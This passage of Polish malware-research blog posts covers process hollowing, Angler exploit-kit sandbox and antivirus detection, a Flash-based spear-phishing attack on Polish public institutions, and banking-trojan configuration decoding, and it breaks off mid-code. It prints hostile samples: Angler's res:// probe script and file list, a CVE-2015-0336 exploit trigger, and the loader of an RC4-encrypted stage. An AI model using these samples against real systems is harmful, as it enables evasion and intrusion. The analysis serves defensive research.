Tworzenie kolejnych procesów i wstrzykiwanie różnych fragmentów złośliwego kodu (np. pierwszy utworzony proces odpowiada za zdekodowanie fragmentu kodu malware, utworzenie kolejnego procesu i załadowanie tam złośliwego kodu) jest pewnym utrudnieniem podczas analizy gdyż niektóre narzędzia (np. Immunity) nie są w stanie podłączyć się do nowo tworzonego procesu w odpowiednim czasie. Czasami uruchamianych jest kolejno 5-6 procesów zanim właściwy złośliwy kod (ten który nas interesuje najbardziej) zostanie uruchomiony.

Poniżej opiszemy jeden ze sposobów analizy takiego zachowania malware.

Zacznijmy od techniki podmiany zawartości procesu. Podmieniane są dane i kod wykonywalny tworzonego procesu. Sekwencja wywoływanych funkcji API może być następująca:
  • CreateProcess() – złośliwy kod wywołuje tą funkcję w celu utworzenia nowego procesu. Istotne jest to, że CreationFlags ma ustawioną opcję CREATE_SUSPENDED (0x00000004).
  • GetThreadContext() – pobierany jest kontekst nowo utworzonego procesu a dokładniej pierwszego wątku nowego procesu. Struktura CONTEXT zawiera ustawienia rejestrów procesora.
  • WriteProcessMemory() – funkcja służy do kopiowania do nowego procesu złośliwego kodu. Malware może również wywoływać funkcje ReadProcessMemory().
  • NtUnmapViewOfSection() – funkcja usuwa sekcje nowego procesu, gdyż do pamięci nowego procesu będzie kopiowany inny kod wykonywalny (w przypadku załadowania całego pliku PE a nie tylko wybranych sekcji lub fragmentów sekcji).
  • VirtualAllocEx() – alokacja pamięci w nowo utworzonym procesie.
  • SetThreadContext() – funkcja będzie wywołana do uaktualnienia zawartości rejestru EAX. Rejestr ten zawiera punkt wejścia (Entry Point) – adres pierwszej instrukcji złośliwego kodu który będzie wywołany przez ResumeThread().
  • ResumeThread() – uruchamiany jest pierwszy wątek w nowym procesie – tym razem z nową zawartością.
Nie wszystkie z wyżej wymienionych funkcji muszą być wywoływane przez analizowany malware.

Ponadto istnieją również inne techniki uruchamiania złośliwego kodu w kontekście innego procesu. Dla przykładu po utworzeniu nowego procesu w stanie SUSPENDED wywoływane są funkcje CreateFileMapping() oraz MapViewOfFile(). W tym momencie malware mapuje cały plik wykonywalny z którego był uruchomiony do pamięci procesu. Tworzony jest współdzielony obszar pamięci i nadawane są uprawnienia do wykonywania (PAGE_EXECUTE_READWRITE). Następnie kopiowane są tam dane ze złośliwym kodem. Jak możemy się domyślać do współdzielonej pamięci będzie miał również dostęp nowo utworzony proces. Poniżej sekwencja wywoływanych funkcji przez przykładowy malware:


Nowy proces może uzyskać dostęp do danych wywołując funkcje OpenFileMapping().

W obu opisanych przypadkach istotne jest to, że funkcja ResumeThread() uruchamia wątek nowo utworzonego procesu a tym samym złośliwy kod. Załóżmy, że chcemy śledzić uruchamiany kod za pomocą dubugger-a lub innego narzędzia (np. do monitorowania aktywność malware).

I tu z pomocą przychodzą narzędzia do przechwytywania funkcji systemowych. Na naszym blogu opisywaliśmy engine MiniHook. Tym razem użyjemy dwóch framework-ów ułatwiających analizę złośliwego kodu - Microsoft Detours oraz Capstone. Ten drugi nie jest obowiązkowy, ale to dobra okazja aby pokazać do czego służy.

Wspominaliśmy, że pierwszy wątek nowego procesu posiada strukturę CONTEXT, która zawiera stany rejestrów procesora. W rejestrze EAX znajduje się adres Entry Point (kodu który będzie uruchomiony po wznowieniu procesu). EBX to struktura PEB. W celu kontrolowania uruchamiania nowego procesu możemy zamienić pierwszą instrukcję wskazywaną przez adres w EAX. Jedna z metod to wstawienie instrukcji skoku bezwarunkowego wskazującego na siebie (czyli adres Entry Point). Jest to opcode 0xEBFE. W momencie uruchomienia nowego procesu w nieskończoność będzie wykonywana instrukcja JMP wskazująca na siebie. Wtedy możemy podłączyć debugger lub załadować do nowego procesu bibliotekę monitorującą aktywność malware. Następnie przywracamy pierwotne wartości i możemy kontynuować analizę.

Przechwycimy jedną funkcję – SetThreadContext() aby kontrolować malware i mieć pewność jaka wartość Entry Point znajduje się w strukturze CONTEXT. Możemy również przechwycić funkcję CreateProcess() a następnie zmodyfikować pierwsza instrukcję w Entry Point.

Trzy podstawowe kroki związane z przechwyceniem funkcji za pomocą Microsoft Detours:

  1. Zapisanie oryginalnego adresu funkcji przechwytywanej.

  2. BOOL (WINAPI *Oryginalny_SetThreadContext)(HANDLE hThread, const CONTEXT *lpContext) = SetThreadContext;

  3. Własna implementacja funkcji, które będzie wywoływana w momencie wywołania przez malware funkcji SetThreadContext().
  4. BOOL WINAPI Nowy_SetThreadContext(HANDLE hThread, const CONTEXT *lpContext){

    PBYTE pBuffer = new BYTE[8];
    SIZE_T * rozmiar = 0;
    SIZE_T * rozmiar2 = 0;
    PBYTE infiniteloop = new BYTE[1];  //tablica zawierająca opcode EBFE (JMP)
    infiniteloop[0] = 0xEB;
    infiniteloop[1] = 0xFE;
       
    //odczyt adresu Entry Point i zapisane pierwszych 8 bajtów do bufora
    ReadProcessMemory(hProc2, (LPCVOID)lpContext->Eax, pBuffer, 8, rozmiar);

    //nadpisanie dwóch bajtów wskazywanych przez adres umieszczony w EAX (Entry Point)
    WriteProcessMemory(hProc2, (LPVOID)lpContext->Eax, infiniteloop, 2, rozmiar2);

    //fragment związany z implementacją funkcji deasemblującej kod

        csh handle;
        cs_insn *insn;
        size_t count;
        char kod_asm[20];
        if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK)
            OutputDebugString(L"Capstone error");
        count = cs_disasm(handle, (uint8_t *)pBuffer, 8, 0x1000, 0, &insn);
        if (count > 0) {
            size_t j;
            for (j = 0; j < count; j++) {
           
            //printf("%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
            sprintf_s(kod_asm, 20, "%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
               

    // W tym miejscu musimy zapisać do pliku zawartość kod_asm.
    // Przykładowa zawartość:
            // push ebp
             // mov    ebp, esp
             // call    0x7b30
    // warto zapisać opcode gdy będziemy przywracać oryginalne wartości z poziomu debugger-a.
            }

            cs_free(insn, count);

        }
        else
            OutputDebugString(L"ERROR: Failed to disassemble given code!");
        cs_close(&handle);

        //wywołanie oryginalnej funkcji SetThreadContext()
        return Oryginalny_SetThreadContext(hThread, lpContext);
    }


  5. Wywołanie funkcji DetourAttach() podmieniającej funkcje – instalującej przechwycenie (tzw. API Hooking).

  6. DetourAttach(&(PVOID&)Oryginalny_SetThreadContext, Nowy_SetThreadContext);

Z poziomu naszej funkcji warto do pliku zapisywać:
  • Adres Entry Point
  • Oryginalne 2 pierwsze bajty
  • Dodatkowo kilka pierwszych instrukcji oryginalnego kodu – my wykorzystaliśmy framework Capstone ale BeaEngine też polecamy.
  • Funkcje ReadProcessMemory() i WriteProcessMemory() korzystają z uchwytu do procesu. Skąd mamy tą wartość? Możemy przechwycić inną funkcję systemową, która korzysta z tego uchwytu – np. WriteProcessMemory(). W EBX znajduje się adres struktury PEB - Process Environment Block – możemy sprawdzić do którego procesu należy odczytany adres tej struktury.
Poniżej przykład procesu (cmd.exe) uruchomionego przez malware ale zmodyfikowanego przez naszą funkcję. Można zauważyć, że pod adresem Entry Point (0x4a261240) jest widoczny opcode 0xEBFE:

Edycja zmodyfikowanych dwóch bajtów za pomocą Immunity Debugger:

Źródła:

[1] http://research.microsoft.com/en-us/projects/detours/
[2] http://www.capstone-engine.org/
[3] http://www.autosectools.com/process-hollowing.pdf
[4] https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/
[5] http://www.codereversing.com/blog/archives/65
[6] http://journeyintoir.blogspot.com/2014/12/prefetch-file-meet-process-hollowing_17.html
[7] https://msdn.microsoft.com/en-us/library/windows/desktop/aa366551%28v=vs.85%29.aspx

sobota, 3 października 2015

Weryfikacja infekowanej stacji roboczej za pomocą języka javascript

Angler Exploit kit jest obecnie jednym z najczęściej wykorzystywanym narzędziem do infekcji komputerów za pomocą techniki drive by download. Język skryptowy javascript wykorzystywany podczas infekcji odpowiada między innymi za weryfikację środowiska w którym mają być uruchomione podatności.
Poniżej przedstawiamy kilka technik stosowanych przez to narzędzie. Jest to kod javascript uzyskany po deobfuskacji zawartości zainfekowanej strony www jednego z polskich portali. Techniki te są zaimplementowane w dwóch funkcjach:

xTrueV() związana jest z wykrywaniem środowisk wirtualnych oraz narzędzi do analizy.
xTrueA() ma za zadanie zweryfikować jakie systemy antywirusowe zainstalowane są na infekowanym komputerze.

  • Weryfikacja przeglądarki internetowej
 if (navigator.userAgent.indexOf('MSIE') == -1 && navigator.appVersion.indexOf('Trident/') == -1) {
        return;
  }

Już podczas pierwszego odwiedzenia przez użytkownika strony ze złośliwym skryptem weryfikowana jest platforma oraz typ przeglądarki. W zależności do tego użytkownik otrzymuje dalsze skrypty zawierające podatności bądź jest przekierowany na stronę bez malware.
  • Następny fragment wykrywa skrypty dynamiczne wykorzystywane przez funkcje narzędzia deweloperskie w Internet Explorer.

Oto zawartość jednego ze skryptów (narzędzie deweloperskich) przeglądarki IE:

  • Kolejne sprawdzenie dotyczy następujących bibliotek (ActiveX) firmy Kaspersky:
  1. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi
  2. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1
  3. Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.4_5_0.1
Poniżej fragment kodu:


  • Ostatnia technika polega na weryfikacji czy określony plik znajduje się na lokalnym dysku. Jest to realizowane za pomocą protokołu res:// i funkcji Image().
Poniżej fragment kodu:


Zawartość wykorzystywanych funkcji (odkodowywanie i modyfikacja struktury strony w DOM):

function xTrue(s, r) {
    var x = new Image();
    x.onload = r;
    x.src = xText(s); //funkcja buduje ścieżkę do pliku (np. "res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#/202"
    document.body.appendChild(x);
    return 0;
}

function xText(line) {
    var result = ""
      , array = line.match(/(..)/g);
    for (var i = 0; i < array.length; i++) {
        result += String.fromCharCode(parseInt(array[i], 32) / 2);
    }
    return result;
}

Lista plików wykorzystywanych przez xTrueV():

res://C:\Program Files (x86)\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files\Fiddler2\Fiddler.exe/#3/#32512
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
res://C:\Program Files (x86)\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
res://C:\Program Files (x86)\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
res://C:\Program Files (x86)\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204
res://C:\Program Files\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204

Lista plików wykorzystywanych przez xTrueA():

res://C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files\Malwarebytes Anti-Malware\mbamext.dll/#2/202
res://C:\Program Files (x86)\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/200
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files\Malwarebytes Anti-Exploit\mbae.exe/#2/201
res://C:\Program Files (x86)\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files\Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE
res://C:\Program Files (x86)\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmConfig.dll/#2/#30994
res://C:\Program Files (x86)\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files\Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Internet Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 14.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.1\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky Total Security 15.0.2\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky CRYSTAL 3.0\x86\mfc42.dll/#2/#26567
res://C:\Program Files (x86)\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567
res://C:\Program Files\\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567

Javascript używany jest też do odszyfrowania innych elementów jak na przykład nazwa hosta czy parametry GET strony, która zawiera kolejne komponenty wykorzystywane w procesie infekcji (np. adres z obiektem Flash wykorzystującym podatność).
Poniżej przykład (na początku funkcji są dane wejściowe, na dole zwracany odkodowany adres serwera):



Szablon związany z podatnością we Flash:


Poniżej gotowy obiekt dla podatności Flash oraz fragment funkcji przygotowującej inny exploit dla przeglądarki Internet Explorer:


wtorek, 11 sierpnia 2015

Wykradanie danych z instytucji publicznych

Przedstawiamy opis ataku ukierunkowanego (ang. spear phishing) jaki miał miejsce w czerwcu 2015 roku na polskie instytucje publiczne. Możemy opisać niestety tylko jedną próbę ataku z dnia 11 czerwca 2015 roku. Do wybranej grupy użytkowników został przesłany dokument Microsoft Word zawierający raport Rządowego Centrum Bezpieczeństwa - RD RCB 11.06.docx. 

 

Etap I - Infekcja


Dokument RD RCB 11.06.docx przypomina raporty jakie można pobrać ze strony Rządowego Centrum Bezpieczeństwa - rcb.gov.pl z tą różnicą, że na stronie dostępne są tylko w formacie PDF.


Dokument zawierała obiekt flash zawierający skrypty w AS3. Poniżej fragment weryfikujący wersję flash zainstalowaną na atakowanym komputerze.


Obiekt fws zawiera między innymi główną funkcję Arrfhs432tyh() oraz dwa obiekty binarne: trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 oraz shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. W kodzie głównej funkcji możemy znaleźć odwołania do tych obiektów i miejsca gdzie są odczytywane. Poniżej fragment skryptu uruchamiającego funkcję z zewnętrznego obiektu.

...
this.rigembe = trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759;
this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359;
...
var _loc2_:ByteArray = new this.rigembe() as ByteArray;
         _loc1_ = this.unzip("decompress",new this.rigembe() as ByteArray);
         var _loc3_:Loader = new Loader();
         _loc3_.loadBytes(_loc1_);


Można zauważyć, że na początku wywoływana jest funkcja unzip(), która również znajduje się w analizowanym skrypcie. Aby odczytać zawartość „zewnętrznego” skryptu tworzymy własny program dekodujący (np. w Flash Builder) korzystając z funkcji unzip() oraz dwóch funkcji służących do odczytu pliku (obiektu) i zapisu. Zawartość funkcji unzip():

private function unzip(param1:String, param2:ByteArray) : ByteArray
        {
            var _loc3_:uint = 0;
            var _loc4_:uint = 0;
            var _loc5_:uint = 0;
            var _loc6_:ByteArray = new ByteArray();
            var _loc7_:uint = 0;
            var _loc8_:ByteArray = new ByteArray();
            var _loc9_:ByteArray = new ByteArray();
            _loc9_.writeMultiByte(param1,"iso-8859-1");
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc6_[_loc4_] = _loc4_;
                _loc4_++;
            }
            _loc4_ = 0;
            while(_loc4_ < 256)
            {
                _loc7_ = _loc7_ + _loc6_[_loc4_] + _loc9_[_loc4_ % _loc9_.length] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc4_++;
            }
            _loc4_ = 0;
            _loc7_ = 0;
            _loc5_ = 0;
            while(_loc5_ < param2.length)
            {
                _loc4_ = _loc4_ + 1 & 255;
                _loc7_ = _loc7_ + _loc6_[_loc4_] & 255;
                _loc3_ = _loc6_[_loc4_];
                _loc6_[_loc4_] = _loc6_[_loc7_];
                _loc6_[_loc7_] = _loc3_;
                _loc8_[_loc5_] = param2[_loc5_] ^ _loc6_[_loc6_[_loc4_] + _loc6_[_loc7_] & 255];
                _loc5_++;
            }
            return _loc8_;
        }


Przykładowe funkcje odczytu i zapisu, których użyjemy w naszym programie dekodującym:

private function writeBytesToFile(fileName:String, data:ByteArray):void
        {
            var outFile:File = File.desktopDirectory;                        

             outFile = outFile.resolvePath(fileName);
            var outStream:FileStream = new FileStream();
             outStream.open(outFile, FileMode.WRITE);
             outStream.writeBytes(data, 0, data.length);
            outStream.close();
        }
        private function readFileIntoByteArray(fileName:String, data:ByteArray):void
        {
            var inFile:File = File.desktopDirectory;
            inFile = inFile.resolvePath(fileName); 
            var inStream:FileStream = new FileStream();
            inStream.open(inFile, FileMode.READ);
            inStream.readBytes(data);
            inStream.close();
        }


Odkodowany plik binarny trigger_rc4$98d213f6942bdb7ee40467d426b926b81001798759 wskazuje na błąd CVE-2015-0336 poprawiony przez Adobe 12 marca 2014 2015 roku [1]. Poniżej zawartość funkcji znajdującej się w tym pliku:

class Trigger
{
   function Trigger()
   {
      var _loc2_ = _global.ASnative(2100,438181888);
      var _loc3_ = new Object();
      _loc2_.__proto__ = _loc3_;
      _global.ASnative(2100,200)(_loc3_);
      _global.ASnative(2100,8).apply(_loc2_,[1]);
      var _loc4_ = new LocalConnection();
      _loc4_.send("toAS3","rigglo");
   }
   static function main(mc)
   {
      Trigger.app = new Trigger();
   }
}


Wiemy już w jaki sposób wywoływany jest błąd. Zanim to nastąpi inne funkcje głównego skryptu przygotowują pamięć infekowanego komputera. Tablica cool_ba zawiera łańcuch ROP a pwn_ba zawiera shellcode. Poniżej fragment tej funkcji:


Łańcuch ROP budowany jest za pomocą funkcji cooba().


Istotnym komponentem exploit-a jest kod wykonywalny uruchamiany po wykorzystaniu podatności. Shellcode znajduje się w drugim binarnym pliku this.shelembe = shell_rc4$c7fe8fa67313f86d5af5bf5eb14d5aaa789757359. Oto jego zawartość po dekompresji. Składa się ona z trzech części. Pierwsza część (czerwona ramka) to kod wykonywalny.


Zważywszy na źródło ataku ciekawa jest zawartość zielonej ramki (powyżej) – jest to hasło odkodowujące plik wykonywalny uruchamiany w ostatnim etapie infekcji. Zakodowany plik wykonywalny (niebieska ramka). Odkodowana wersja XOR-em widoczna jest poniżej.

Poniżej ten sam fragment w pamięci komputera (zrzut z debugger-a).

Poniżej fragment stosu tuż przed uruchomieniem odkodowanego pliku wykonywalnego.


Ten sam plik zapisywany jest następnie w lokalizacji (c:/users/<username>/appdata/local/lsaapi.exe) i dodany do zadań systemu Windows uruchamianych cyklicznie.

Etap II – zbieranie informacji


Plik wykonywalny uruchamiany na zainfekowanym komputerze to odmiana złośliwego oprogramowania o nazwie ComicDukeCosmic/MiniDuke. Więcej informacji na ten temat znajduje się tutaj [2] oraz linkach pod tamtym artykułem.

Dla przypomnienia jedna z funkcji to kradzież informacji. Malware wyszukuje (zaczynając od dokumentów ostatnio używanych przez użytkownika) pliki z następującymi rozszerzeniami:

*.doc;*.xps;*.xls;*.ppt;*.pps;*.wps;*.wpd;*.ods;*.odt;*.lwp;*.jtd;*.pdf;*.zip;*.rar;*.docx;*.xlsx;*.pptx;*.ppsx;*.pst;*.ost;*psw*;*pass*;*login*;*admin*;*sifr*;*sifer*;*vpn;*.jpg*;*.url;*.exe;*.dll;*.tmp;*.obj;*.ocx;*.js

Pliki te są szyfrowane i przesyłane na jeden z serwerów ftp. Wykorzystywane serwer ftp/http, loginy oraz hasła są w poniższej tabeli:

Oto fragment opisu ze strony dostawcy ISP gdzie znajdowały się serwery ftp „Switzerland has long been recognized as a safe haven. It is not a member of the EU, and remains neutral in times of conflict”

Poniżej przykłady plików, które udało nam się pobrać z serwerów ftp.


Ich zawartość to skopiowane przez malware pliki o rozszerzeniach wymienionych powyżej lub zrzuty ekranu. Zrzuty ekranu robione są co kilka minut. Bez względu na zawartość, przed wysłaniem na serwerem ftp pliki są kompresowane a następnie szyfrowane. Szyfrowanie odbywa się za pomocą algorytmu bazującego na RC4. Klucz to: AdjustKernelTableFromSSDTSpace2. Jak wiemy RC4 w ostatnim kroku za pomocą operacji XOR koduje poszczególne bajty z wcześniej przygotowaną tablicą. Dlatego wywołując funkcję szyfrującą z bardzo dużym plikiem wejściowym możemy wygenerować klucz, którą użyjemy później do odkodowywania plików znajdujących się na serwerze. Fragment prawidłowego klucza poniżej:


Przed szyfrowaniem pliki są kompresowane. Dodatkowo złośliwe oprogramowanie na początku pliku i po każdych 100 KB danych dodaje nagłówek. Poniżej przykładowy nagłówek oraz widoczny początek właściwego pliku (FFD8) – co wskazuje na screenshot (format JPG). W nagłówku znajduje się między innymi rozmiar pliku czy offset dotyczący kolejnego nagłówka.


Przykład kolejnego nagłówka:



Odkodowując plik uzyskanym wcześniej kluczem oraz implementując mechanizm dekompresji było możliwe odczytywanie plików umieszczanych przez malware na serwerze ftp. Poniżej zawartość jednego z odkodowanych plików. Można zauważyć, że ktoś próbował monitorować zachowanie malware.


Naszym zdaniem atak z wykorzystaniem dokumentu dotyczącego katastrofy smoleńskiej [2] został przeprowadzony przez tą samą grupę. Intruzi w atakach wykorzystują też inne formaty plików i podatności niezwiązane z flash.

File:     RD RCB 11.06.docx
Size:     242537
MD5:      84137c8e7509a0e9cf7ff71ba060cdb5

File:     lsaapi.exe (c:/users/<username>/appdata/local/)
Size:     612864
MD5:      E452A59F037125937BAFD557AB849E1


Źródła:

[1] http://blogs.technet.com/b/mmpc/archive/2015/06/18/understanding-type-confusion-vulnerabilities-cve-2015-0336.aspx
[2] http://malware.prevenity.com/2015/04/malware-w-5-rocznice-katastrofy-samolotu.html





piątek, 31 lipca 2015

Dekodowanie plików konfiguracyjnych

Nadarzyła się dobra okazja aby opisać proces tworzenia narzędzi dekodujących pliki konfiguracyjne. Ta okazja to kolejny atak z użyciem złośliwego oprogramowania na klientów bankowości internetowej – w tym klientów banków w Polsce ale też Allegro. Atak ma miejsce od 3-4 dni.
Poniżej fragmenty pliku konfiguracyjnego:

Zainfekowani klienci powyższych instytucji mogą otrzymać komunikaty podobne do poniższych:





Nie będziemy opisywali wszystkich szczegółów technicznych gdyż są dobrze opisane tutaj [1]. Tym razem zajmiemy się plikami tworzonymi przez malware.


Dwa z nich log.dat oraz ntf.dat są co kilka minut tworzone i kasowane. Zawierają one zakodowaną wiadomość przesyłaną do serwera C&C - między innymi listę aktualnie uruchomionych procesów na zainfekowanym komputerze.
Pliki są szyfrowane za pomocą RC4 z kluczem:
 Poniżej przykład komunikacji:

Odpowiedzią z serwera może być nowy plik wykonywalny lub aktualna konfiguracja.
Ostatni plik web.dat to aktualna konfiguracja – również zakodowana. Poza celami ataków są tam fragmenty html i javascript. Są też URL dodatkowych serwerów C&C na których znajdują się dodatkowe skrypty js.

 

Odkodowywanie składa się z 3 etapów:

 

1. Odkodowanie XOR z losowym kluczem. 

 

Niestety na każdym komputerze generowany jest inny klucz związany z hostem. Klucz można pozyskać z kilku miejsc, między innymi z komunikacji sieciowej lub nazwy katalogu w którym zapisywany jest plik wykonywalny. W naszym przypadku będzie to D77AE23E.
Poniżej kod realizujący tą funkcję:


Fragment pliku konfiguracyjnego przed i po kodowaniu:

Funkcja naszego programu odkodowującego może wyglądać następująco:

xor(const void *source, int size)
{
    __asm {

        mov esi, ebx
